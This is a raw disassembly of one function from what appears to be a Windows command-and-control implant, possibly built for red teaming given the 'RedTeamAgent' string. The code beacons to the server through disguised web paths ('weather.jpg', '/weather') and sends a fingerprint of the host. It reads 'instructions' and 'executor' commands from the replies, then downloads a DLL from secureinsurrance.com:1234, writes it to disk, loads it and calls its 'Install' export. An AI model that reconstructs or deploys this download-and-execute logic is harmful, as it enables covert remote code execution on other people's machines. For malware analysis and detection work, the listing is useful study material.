Function at 0x1400073b0
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x508]
sub rsp, 0x5e0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
mov rax, qword [0x14001d040]
xor rax, rsp
mov qword [rbp + 0x480], rax
lea rdx, [0x140017590]
lea rcx, [rbp + 0x350]
call fcn.140001e40
xor r12d, r12d
lea rcx, [rbp + 0x370]
mov qword [rbp - 0x50], r12
call fcn.1400032e0
test al, al
je 0x140007482
movups xmm0, xmmword [0x140017ad8]
movzx eax, word [0x140017b08]
lea r8d, [r12 + 0x31]
movups xmm1, xmmword [0x140017ae8]
lea rdx, [rbp - 0x40]
mov word [rbp - 0x10], ax
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x140017af8]
movups xmmword [rbp - 0x30], xmm1
movups xmmword [rbp - 0x20], xmm0
call fcn.140003320
mov rbx, rax
test rax, rax
je 0x140007482
lea r8, [rbp + 0x370]
mov rcx, rax
call fcn.140003200
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rdx, [0x140017590]
lea rcx, [rbp + 0x270]
call fcn.140001e40
lea rax, [rbp - 0x40]
mov qword [rbp - 0x80], rax
lea rax, [rbp + 0xc0]
mov qword [rbp - 0x78], rax
movaps xmm10, xmmword [rbp - 0x80]
mov r15, qword [rbp + 0x280]
lea r13, str.pagedownload.htmlfileweather.htmlapitoken
nop dword [rax + rax]
lea r9, [0x140017b1c]
mov qword [rsp + 0x20], r12
lea r8, str._gui_img_weather.jpg
call fcn.140002570
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea r9, [0x140017b1c]
mov qword [rsp + 0x20], r12
lea r8, str._gui_jquery_jquery.js
call fcn.140002570
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea r9, [0x140017b1c]
mov qword [rsp + 0x20], r12
lea r8, str._favicon.ico
call fcn.140002570
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea r9, [0x140017b1c]
mov qword [rsp + 0x20], r12
lea r8, str._index.html
call fcn.140002570
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov qword [rbp + 0x1d0], r12
mov r8d, 3
mov qword [rbp + 0x1d8], r12
lea rdx, [0x140017b84]
lea rcx, [rbp + 0x1c0]
movups xmmword [rbp + 0x1c0], xmm0
call fcn.1400022d0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp - 0x40]
call fcn.140003e80
xorps xmm0, xmm0
mov dword [rbp - 0x38], 3
mov r8d, 4
mov qword [rbp + 0x1d0], r12
lea rdx, str.1800
mov qword [rbp + 0x1d8], r12
lea rcx, [rbp + 0x1c0]
movups xmmword [rbp + 0x1c0], xmm0
call fcn.1400022d0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp - 0x30]
call fcn.140003e80
xorps xmm0, xmm0
mov dword [rbp - 0x28], 3
mov r8d, 6
mov qword [rbp + 0x1d0], r12
lea rdx, str.server
mov qword [rbp + 0x1d8], r12
lea rcx, [rbp + 0x1c0]
movups xmmword [rbp + 0x1c0], xmm0
call fcn.1400022d0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp - 0x20]
call fcn.140003e80
xorps xmm0, xmm0
mov dword [rbp - 0x18], 3
mov r8d, 0xa
mov qword [rbp + 0x1d0], r12
lea rdx, str.ntdlhv.net
mov qword [rbp + 0x1d8], r12
lea rcx, [rbp + 0x1c0]
movups xmmword [rbp + 0x1c0], xmm0
call fcn.1400022d0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp - 0x10]
call fcn.140003e80
xorps xmm0, xmm0
mov dword [rbp - 8], 3
mov r8d, 8
mov qword [rbp + 0x1d0], r12
lea rdx, str.platform
mov qword [rbp + 0x1d8], r12
lea rcx, [rbp + 0x1c0]
movups xmmword [rbp + 0x1c0], xmm0
call fcn.1400022d0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp]
call fcn.140003e80
xorps xmm0, xmm0
mov dword [rbp + 8], 3
mov r8d, 7
mov qword [rbp + 0x1d0], r12
lea rdx, str.windows
mov qword [rbp + 0x1d8], r12
lea rcx, [rbp + 0x1c0]
movups xmmword [rbp + 0x1c0], xmm0
call fcn.1400022d0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x10]
call fcn.140003e80
xorps xmm0, xmm0
mov dword [rbp + 0x18], 3
mov r8d, 4
mov qword [rbp + 0x1d0], r12
lea rdx, str.host
mov qword [rbp + 0x1d8], r12
lea rcx, [rbp + 0x1c0]
movups xmmword [rbp + 0x1c0], xmm0
call fcn.1400022d0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x20]
call fcn.140003e80
xorps xmm0, xmm0
mov dword [rbp + 0x28], 3
mov r8d, 0xc
mov qword [rbp + 0x1d0], r12
lea rdx, str.RedTeamAgent
mov qword [rbp + 0x1d8], r12
lea rcx, [rbp + 0x1c0]
movups xmmword [rbp + 0x1c0], xmm0
call fcn.1400022d0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x30]
call fcn.140003e80
xorps xmm0, xmm0
mov dword [rbp + 0x38], 3
mov r8d, 8
mov qword [rbp + 0x1d0], r12
lea rdx, str.username
mov qword [rbp + 0x1d8], r12
lea rcx, [rbp + 0x1c0]
movups xmmword [rbp + 0x1c0], xmm0
call fcn.1400022d0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x40]
call fcn.140003e80
xorps xmm0, xmm0
mov dword [rbp + 0x48], 3
mov r8d, 5
mov qword [rbp + 0x1d0], r12
lea rdx, str.mabbl
mov qword [rbp + 0x1d8], r12
lea rcx, [rbp + 0x1c0]
movups xmmword [rbp + 0x1c0], xmm0
call fcn.1400022d0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x50]
call fcn.140003e80
xorps xmm0, xmm0
mov dword [rbp + 0x58], 3
mov r8d, 0xc
mov qword [rbp + 0x1d0], r12
lea rdx, str.architecture
mov qword [rbp + 0x1d8], r12
lea rcx, [rbp + 0x1c0]
movups xmmword [rbp + 0x1c0], xmm0
call fcn.1400022d0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x60]
call fcn.140003e80
xorps xmm0, xmm0
mov dword [rbp + 0x68], 3
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x1d0], r12
lea rdx, str.amd64
mov qword [rbp + 0x1d8], r12
mov r8d, 5
lea rcx, [rbp + 0x1c0]
call fcn.1400022d0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x70]
call fcn.140003e80
xorps xmm0, xmm0
mov dword [rbp + 0x78], 3
mov r8d, 9
mov qword [rbp + 0x1d0], r12
lea rdx, str.privilege
mov qword [rbp + 0x1d8], r12
lea rcx, [rbp + 0x1c0]
movups xmmword [rbp + 0x1c0], xmm0
call fcn.1400022d0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x80]
call fcn.140003e80
xorps xmm0, xmm0
mov dword [rbp + 0x88], 3
mov r8d, 4
mov qword [rbp + 0x1d0], r12
lea rdx, str.User
mov qword [rbp + 0x1d8], r12
lea rcx, [rbp + 0x1c0]
movups xmmword [rbp + 0x1c0], xmm0
call fcn.1400022d0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x90]
call fcn.140003e80
xorps xmm0, xmm0
mov dword [rbp + 0x98], 3
mov r8d, 9
mov qword [rbp + 0x1d0], r12
lea rdx, str.executors
mov qword [rbp + 0x1d8], r12
lea rcx, [rbp + 0x1c0]
movups xmmword [rbp + 0x1c0], xmm0
call fcn.1400022d0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0xa0]
call fcn.140003e80
lea rcx, [rbp + 0xb0]
mov dword [rbp + 0xa8], 3
call fcn.14000ac50
lea rdx, [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rsp + 0x68]
call fcn.140003f30
mov edx, 0x10
lea r9, [fcn.140004350]
mov r8d, edx
lea rcx, [rbp - 0x40]
call fcn.14001497c
test r15, r15
je 0x140007a25
lea rdx, [0x140017c34]
lea rcx, [rbp + 0x2d0]
call fcn.140001e40
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0xf0]
call fcn.140001e80
lea rdx, [rbp + 0x2d0]
mov rbx, rax
lea rcx, [rsp + 0x68]
call fcn.140004430
mov rcx, rax
mov rdx, rbx
call fcn.14000aae0
lea rcx, [rbp + 0x2d0]
call fcn.140001de0
mov r15, qword [rbp + 0x280]
xorps xmm0, xmm0
mov qword [rbp + 0x300], r12
mov r8d, 2
mov qword [rbp + 0x308], r12
lea rdx, [0x140017918]
lea rcx, [rbp + 0x2f0]
movups xmmword [rbp + 0x2f0], xmm0
call fcn.1400022d0
xorps xmm0, xmm0
mov qword [rbp + 0x1d0], r12
mov r8d, 2
mov qword [rbp + 0x1d8], r12
lea rdx, [0x140017918]
lea rcx, [rbp + 0x1c0]
movups xmmword [rbp + 0x1c0], xmm0
call fcn.1400022d0
lea r9, [rbp + 0x1c0]
mov r8d, 1
lea rdx, [rbp + 0x200]
lea rcx, [rsp + 0x68]
call fcn.140004890
mov rbx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140007ab2
mov rbx, qword [rax]
lea r9, [rbp + 0x2f0]
mov r8d, 1
lea rdx, [rbp + 0x220]
lea rcx, [rsp + 0x68]
call fcn.140004890
mov rdx, rbx
mov r8d, dword [rax + 0x10]
call fcn.140003320
mov rdx, qword [rbp + 0x218]
mov r14, rax
cmp rdx, 0xf
jbe 0x140007b20
mov rcx, qword [rbp + 0x200]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b1b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000952c
call fcn.140014948
mov rdx, qword [rbp + 0x238]
mov qword [rbp + 0x210], r12
mov qword [rbp + 0x218], 0xf
mov byte [rbp + 0x200], 0
cmp rdx, 0xf
jbe 0x140007b7a
mov rcx, qword [rbp + 0x220]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b75
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000952c
call fcn.140014948
xorps xmm0, xmm0
mov qword [rbp + 0x230], r12
mov r8d, 2
mov qword [rbp + 0x238], 0xf
lea rdx, [0x140017918]
mov byte [rbp + 0x220], 0
lea rcx, [rbp + 0x1e0]
mov qword [rbp + 0x1f0], r12
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f8], r12
call fcn.1400022d0
lea r9, [rbp + 0x1e0]
mov r8d, 1
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x68]
call fcn.140004890
mov r9d, r12d
mov esi, dword [rax + 0x10]
mov eax, r12d
test esi, esi
je 0x140007c13
nop dword [rax]
mov r8d, eax
mov eax, 0xaaaaaaab
mul r9d
lea eax, [r8 + 1]
shr edx, 1
lea ecx, [rdx + rdx*2]
cmp r9d, ecx
cmovne eax, r8d
inc r9d
cmp r9d, esi
jb 0x140007bf0
lea eax, [rax*4 + 1]
movsxd rbx, eax
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memset
mov r8, rdi
mov edx, esi
mov rcx, r14
call fcn.140001020
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140007c80
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007c7b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009533
call fcn.140014948
xorps xmm0, xmm0
mov qword [rsp + 0x40], r12
movups xmmword [rbp - 0x70], xmm0
mov qword [rsp + 0x48], 0xf
mov r8, 0xffffffffffffffff
mov byte [rsp + 0x30], 0
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], r12
nop dword [rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x140007cb0
mov rdx, rdi
lea rcx, [rbp - 0x70]
call fcn.1400022d0
mov rcx, qword [rbp - 0x58]
mov r8, qword [rbp - 0x60]
mov rax, rcx
sub rax, r8
cmp rax, 0x2e
jb 0x140007d57
lea rax, [r8 + 0x2e]
cmp rcx, 0xf
lea rbx, [rbp - 0x70]
mov qword [rbp - 0x60], rax
cmova rbx, qword [rbp - 0x70]
lea rax, [0x140017c66]
cmp rax, rbx
jbe 0x140007d16
lea rax, [rbx + r8]
cmp r13, rax
ja 0x140007d16
cmp rbx, r13
ja 0x140007d0e
mov rdi, r12
jmp 0x140007d1b
mov rdi, rbx
sub rdi, r13
jmp 0x140007d1b
mov edi, 0x2e
lea rcx, [rbx + 0x2e]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r13
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x2e
lea rdx, [rdi + 0x2e]
sub r8, rdi
lea rcx, [rbx + rdi]
add rdx, r13
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x70]
jmp 0x140007d73
mov qword [rsp + 0x28], 0x2e
lea rcx, [rbp - 0x70]
mov edx, 0x2e
mov qword [rsp + 0x20], r13
call fcn.14000c470
mov qword [rbp + 0x250], r12
xorps xmm0, xmm0
movups xmmword [rbp + 0x240], xmm0
mov qword [rbp + 0x258], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x240], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x250], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140007dea
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007de5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000953a
call fcn.140014948
cmp qword [rbp + 0x258], 0xf
lea rax, [rbp + 0x240]
lea r9, str.POST
cmova rax, qword [rbp + 0x240]
lea r8, str._weather
mov qword [rsp + 0x20], rax
call fcn.140002570
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], r12d
mov rcx, rax
mov rbx, rax
call fcn.1400026c0
mov rdi, rax
test rax, rax
je 0x14000942c
cmp dword [rsp + 0x30], 0
je 0x14000942c
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdx, rdi
mov dword [rsp + 0x50], r12d
lea rcx, [rbp + 0xf0]
call fcn.140001e40
mov rcx, rax
lea r9, [rsp + 0x50]
call fcn.140001ad0
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140007e76
cmp ebx, 2
jne 0x140007e9f
lea rcx, [rbp + 0x240]
call fcn.140001de0
lea rcx, [rsp + 0x68]
call fcn.140004350
jmp 0x1400074c0
mov edx, ebx
mov rcx, rax
call fcn.140001230
mov ecx, ebx
mov rdx, rax
call fcn.140001010
mov r8d, eax
mov ebx, eax
call fcn.140003320
mov rdx, rax
lea rcx, [rbp + 0x2b0]
mov byte [rbx + rax], 0
call fcn.140001e40
lea rdx, [0x1400178d0]
lea rcx, [rbp - 0x40]
call fcn.140009640
mov r8, rax
lea r9, [0x140017590]
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x290]
call fcn.14000ade0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140009dd0
lea rcx, [rbp + 0x290]
call fcn.140001de0
lea rcx, [rbp - 0x40]
call fcn.1400095a0
lea rdx, [0x140017cb4]
lea rcx, [rbp - 0x40]
call fcn.140009640
mov r8, rax
lea r9, [0x14001790c]
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x290]
call fcn.14000ade0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140009dd0
lea rcx, [rbp + 0x290]
call fcn.140001de0
lea rcx, [rbp - 0x40]
call fcn.1400095a0
lea rdx, [0x140017cbc]
lea rcx, [rbp - 0x40]
call fcn.140009640
mov r8, rax
lea r9, [0x140017cb8]
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x290]
call fcn.14000ade0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140009dd0
lea rcx, [rbp + 0x290]
call fcn.140001de0
lea rcx, [rbp - 0x40]
call fcn.1400095a0
lea rdx, [0x140017cc0]
lea rcx, [rbp - 0x40]
call fcn.140009640
mov r8, rax
lea r9, [0x140017914]
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x290]
call fcn.14000ade0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140009dd0
lea rcx, [rbp + 0x290]
call fcn.140001de0
lea rcx, [rbp - 0x40]
call fcn.1400095a0
lea rdx, [0x140017cc4]
lea rcx, [rbp - 0x40]
call fcn.140009640
mov r8, rax
lea r9, [0x140017904]
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x290]
call fcn.14000ade0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140009dd0
lea rcx, [rbp + 0x290]
call fcn.140001de0
lea rcx, [rbp - 0x40]
call fcn.1400095a0
lea rdx, [rbp + 0x2b0]
lea rcx, [rsp + 0x58]
call fcn.1400072b0
lea rdx, [0x140017c34]
lea rcx, [rbp + 0x2d0]
call fcn.140001e40
lea rdx, [rbp + 0x2d0]
lea rcx, [rsp + 0x58]
call fcn.140004430
mov rcx, rax
lea rdx, [rbp + 0x290]
call fcn.140004640
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.140009dd0
lea rcx, [rbp + 0x290]
call fcn.140001de0
lea rcx, [rbp + 0x2d0]
call fcn.140001de0
lea rdx, str.sleep
lea rcx, [rbp + 0x2d0]
call fcn.140001e40
lea rdx, [rbp + 0x2d0]
lea rcx, [rsp + 0x58]
call fcn.140004430
mov rcx, rax
call fcn.140004880
lea rcx, [rbp + 0x2d0]
mov dword [rsp + 0x78], eax
call fcn.140001de0
mov r13d, dword [rsp + 0x60]
xor r15d, r15d
mov r12, qword [rsp + 0x58]
mov esi, r15d
mov dword [rsp + 0x50], r15d
nop dword [rax]
nop word [rax + rax]
xorps xmm0, xmm0
mov qword [rbp + 0x230], r15
mov r8d, 0xc
mov qword [rbp + 0x238], r15
lea rdx, str.instructions
lea rcx, [rbp + 0x220]
movups xmmword [rbp + 0x220], xmm0
call fcn.1400022d0
cmp r13d, 1
je 0x1400081b1
lea rcx, [rsp + 0x58]
call fcn.140004350
mov ecx, 0x10
call fcn.14001490c
mov ecx, 0x50
mov r12, rax
mov qword [rax], r15
mov qword [rax + 8], r15
call fcn.14001490c
mov qword [rsp + 0x58], r12
mov dword [rsp + 0x60], 1
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [r12], rax
lea r8, [rbp + 0x220]
mov rcx, r12
lea rdx, [rbp + 0x110]
call fcn.14000aef0
mov rax, qword [rax]
cmp dword [rax + 0x48], 2
jne 0x1400081d9
mov rax, qword [rax + 0x40]
mov ebx, dword [rax + 0x20]
jmp 0x1400081de
mov ebx, 0xffffffff
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x14000821f
mov rcx, qword [rbp + 0x220]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000821a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009541
call fcn.140014948
cmp esi, ebx
jge 0x1400092f0
lea rdx, [0x140017ce0]
lea rcx, [rbp + 0x1e0]
call fcn.140001e40
lea rdx, str.instructions
lea rcx, [rbp + 0x200]
call fcn.140001e40
lea rdx, [rbp + 0x200]
lea rcx, [rsp + 0x58]
call fcn.140004430
mov rcx, rax
mov edx, esi
call fcn.1400044c0
mov rcx, rax
lea rdx, [rbp + 0x1e0]
call fcn.140004430
mov rcx, rax
lea rdx, [rbp + 0x1c0]
call fcn.140004640
lea rcx, [rbp + 0x200]
call fcn.140001de0
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0xf
jbe 0x1400082d3
mov rcx, qword [rbp + 0x1e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400082ce
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009548
call fcn.140014948
xorps xmm0, xmm0
mov qword [rbp + 0x210], r15
mov r8d, 7
mov qword [rbp + 0x218], r15
lea rdx, str.command
lea rcx, [rbp + 0x200]
movups xmmword [rbp + 0x200], xmm0
call fcn.1400022d0
xorps xmm0, xmm0
mov qword [rsp + 0x40], r15
mov r8d, 0xc
mov qword [rsp + 0x48], r15
lea rdx, str.instructions
lea rcx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
call fcn.1400022d0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.140004430
mov rcx, rax
mov edx, esi
call fcn.1400044c0
mov rdi, rax
cmp dword [rax + 8], 1
je 0x140008393
mov rcx, rax
call fcn.140004350
mov ecx, 0x10
call fcn.14001490c
mov ecx, 0x50
mov rbx, rax
mov qword [rax], r15
mov qword [rax + 8], r15
call fcn.14001490c
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbx], rax
mov qword [rdi], rbx
mov dword [rdi + 8], 1
mov rcx, qword [rdi]
lea rdx, [rbp + 0x200]
call fcn.1400098f0
lea r8, [rsp + 0x54]
mov rcx, rax
lea rdx, [rbp + 0x1e0]
call fcn.1400046e0
movups xmm9, xmmword [rax]
movups xmm8, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x1f8]
movups xmmword [rbp + 0x2d0], xmm9
movups xmmword [rbp + 0x2e0], xmm8
cmp rdx, 0xf
jbe 0x14000841f
mov rcx, qword [rbp + 0x1e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000841a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000954f
call fcn.140014948
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000845c
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008457
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009556
call fcn.140014948
mov rdx, qword [rbp + 0x218]
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
cmp rdx, 0xf
jbe 0x1400084b0
mov rcx, qword [rbp + 0x200]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400084ab
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009556
call fcn.140014948
xorps xmm0, xmm0
mov qword [rbp + 0x210], r15
mov r8d, 8
mov qword [rbp + 0x218], r15
lea rdx, str.executor
lea rcx, [rbp + 0x200]
movups xmmword [rbp + 0x200], xmm0
call fcn.1400022d0
xorps xmm0, xmm0
mov qword [rsp + 0x40], r15
mov r8d, 0xc
mov qword [rsp + 0x48], r15
lea rdx, str.instructions
lea rcx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
call fcn.1400022d0
mov r13d, dword [rsp + 0x60]
cmp r13d, 1
je 0x140008564
lea rcx, [rsp + 0x58]
call fcn.140004350
mov ecx, 0x10
call fcn.14001490c
mov ecx, 0x50
mov r12, rax
mov qword [rax], r15
mov qword [rax + 8], r15
call fcn.14001490c
mov r13d, 1
mov qword [rsp + 0x58], r12
mov dword [rsp + 0x60], r13d
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [r12], rax
jmp 0x140008569
mov r12, qword [rsp + 0x58]
lea r8, [rsp + 0x30]
mov rcx, r12
lea rdx, [rbp + 0x120]
call fcn.14000aef0
mov edx, esi
mov rcx, qword [rax]
add rcx, 0x40
call fcn.1400044c0
mov rdi, rax
cmp dword [rax + 8], 1
je 0x1400085d8
mov rcx, rax
call fcn.140004350
mov ecx, 0x10
call fcn.14001490c
mov ecx, 0x50
mov rbx, rax
mov qword [rax], r15
mov qword [rax + 8], r15
call fcn.14001490c
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbx], rax
mov qword [rdi], rbx
mov dword [rdi + 8], 1
mov rcx, qword [rdi]
lea r8, [rbp + 0x200]
lea rdx, [rbp + 0x130]
call fcn.14000aef0
lea r8, [rsp + 0x55]
lea rdx, [rbp + 0x1e0]
mov rcx, qword [rax]
add rcx, 0x40
call fcn.1400046e0
movups xmm7, xmmword [rax]
movups xmm6, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x1f8]
movups xmmword [rbp + 0x2f0], xmm7
movups xmmword [rbp + 0x300], xmm6
cmp rdx, 0xf
jbe 0x14000866b
mov rcx, qword [rbp + 0x1e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008666
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000955d
call fcn.140014948
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400086a8
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400086a3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009564
call fcn.140014948
mov rdx, qword [rbp + 0x218]
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
cmp rdx, 0xf
jbe 0x1400086fc
mov rcx, qword [rbp + 0x200]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400086f7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009564
call fcn.140014948
movq rdx, xmm9
lea rcx, [rbp + 0x2d0]
movdqa xmm0, xmm8
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rcx, rdx
movq rdx, xmm8
call fcn.140001230
xorps xmm0, xmm0
mov qword [rbp + 0x230], r15
xor r8d, r8d
mov qword [rbp + 0x238], r15
lea rdx, [0x140017590]
mov rbx, rax
lea rcx, [rbp + 0x220]
movups xmmword [rbp + 0x220], xmm0
call fcn.1400022d0
movdqa xmm0, xmm6
mov qword [rsp + 0x30], r15
psrldq xmm0, 8
lea rcx, [rbp + 0x2f0]
movq rax, xmm0
movq rdx, xmm7
cmp rax, 0xf
movq r8, xmm6
mov r14, r15
mov rsi, r15
cmova rcx, rdx
cmp r8, 3
jne 0x1400089fa
lea rdx, [0x140017c30]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400089fa
mov rdx, rbx
lea rcx, [rbp + 0x310]
call fcn.140001e40
lea rcx, [rbp + 0x310]
call fcn.140009bd0
lea rcx, [rbp + 0x310]
test rax, rax
jne 0x1400088c5
lea r9, [rax - 1]
mov dword [rsp + 0x30], r15d
lea r8d, [rax + 9]
lea rdx, [rbp + 0x1e0]
call fcn.140009b70
lea r8, [rbp + 0x1e0]
lea rdx, str.http:__secureinsurrance.com:1234_
lea rcx, [rbp + 0x200]
call fcn.14000a5e0
lea rcx, [rbp + 0x200]
call fcn.140001dd0
mov rcx, rax
lea rdx, [rsp + 0x30]
call fcn.1400027c0
lea rcx, [rbp + 0x1e0]
mov rdi, rax
call fcn.140001dd0
mov rcx, rax
lea rdx, [0x140017d34]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov r8d, dword [rsp + 0x30]
mov edx, 1
mov r9, rax
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, [rbp + 0x1e0]
call fcn.140001dd0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
mov qword [rbp - 0x50], rax
lea rdx, str.Install
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov rdx, rax
lea rcx, [rbp + 0x350]
call fcn.140009d50
lea rcx, [rbp + 0x200]
call fcn.140001de0
lea rcx, [rbp + 0x1e0]
call fcn.140001de0
lea rcx, [rbp + 0x310]
call fcn.140001de0
jmp 0x140008a85
lea rdx, [rbp + 0x350]
